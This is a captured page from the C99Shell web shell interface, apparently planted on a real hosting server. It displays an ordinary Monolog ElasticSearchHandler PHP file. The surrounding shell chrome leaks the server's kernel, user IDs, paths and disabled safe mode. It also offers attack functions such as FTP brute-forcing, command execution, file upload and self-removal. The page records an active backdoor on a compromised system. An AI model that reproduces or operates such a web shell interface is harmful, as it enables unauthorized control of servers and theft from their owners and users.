!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/monolog/monolog/src/Monolog/Handler/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ElasticSearchHandler.php (3.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
Monolog\Formatter\FormatterInterface;
use 
Monolog\Formatter\ElasticaFormatter;
use 
Monolog\Logger;
use 
Elastica\Client;
use 
Elastica\Exception\ExceptionInterface;

/**
 * Elastic Search handler
 *
 * Usage example:
 *
 *    $client = new \Elastica\Client();
 *    $options = array(
 *        'index' => 'elastic_index_name',
 *        'type' => 'elastic_doc_type',
 *    );
 *    $handler = new ElasticSearchHandler($client, $options);
 *    $log = new Logger('application');
 *    $log->pushHandler($handler);
 *
 * @author Jelle Vink <jelle.vink@gmail.com>
 */
class ElasticSearchHandler extends AbstractProcessingHandler
{
    
/**
     * @var Client
     */
    
protected $client;

    
/**
     * @var array Handler config options
     */
    
protected $options = array();

    
/**
     * @param Client  $client  Elastica Client object
     * @param array   $options Handler configuration
     * @param int     $level   The minimum logging level at which this handler will be triggered
     * @param Boolean $bubble  Whether the messages that are handled can bubble up the stack or not
     */
    
public function __construct(Client $client, array $options = array(), $level Logger::DEBUG$bubble true)
    {
        
parent::__construct($level$bubble);
        
$this->client $client;
        
$this->options array_merge(
            array(
                
'index'          => 'monolog',      // Elastic index name
                
'type'           => 'record',       // Elastic document type
                
'ignore_error'   => false,          // Suppress Elastica exceptions
            
),
            
$options
        
);
    }

    
/**
     * {@inheritDoc}
     */
    
protected function write(array $record)
    {
        
$this->bulkSend(array($record['formatted']));
    }

    
/**
     * {@inheritdoc}
     */
    
public function setFormatter(FormatterInterface $formatter)
    {
        if (
$formatter instanceof ElasticaFormatter) {
            return 
parent::setFormatter($formatter);
        }
        throw new \
InvalidArgumentException('ElasticSearchHandler is only compatible with ElasticaFormatter');
    }

    
/**
     * Getter options
     * @return array
     */
    
public function getOptions()
    {
        return 
$this->options;
    }

    
/**
     * {@inheritDoc}
     */
    
protected function getDefaultFormatter()
    {
        return new 
ElasticaFormatter($this->options['index'], $this->options['type']);
    }

    
/**
     * {@inheritdoc}
     */
    
public function handleBatch(array $records)
    {
        
$documents $this->getFormatter()->formatBatch($records);
        
$this->bulkSend($documents);
    }

    
/**
     * Use Elasticsearch bulk API to send list of documents
     * @param  array             $documents
     * @throws \RuntimeException
     */
    
protected function bulkSend(array $documents)
    {
        try {
            
$this->client->addDocuments($documents);
        } catch (
ExceptionInterface $e) {
            if (!
$this->options['ignore_error']) {
                throw new \
RuntimeException("Error sending messages to Elasticsearch"0$e);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0367 ]--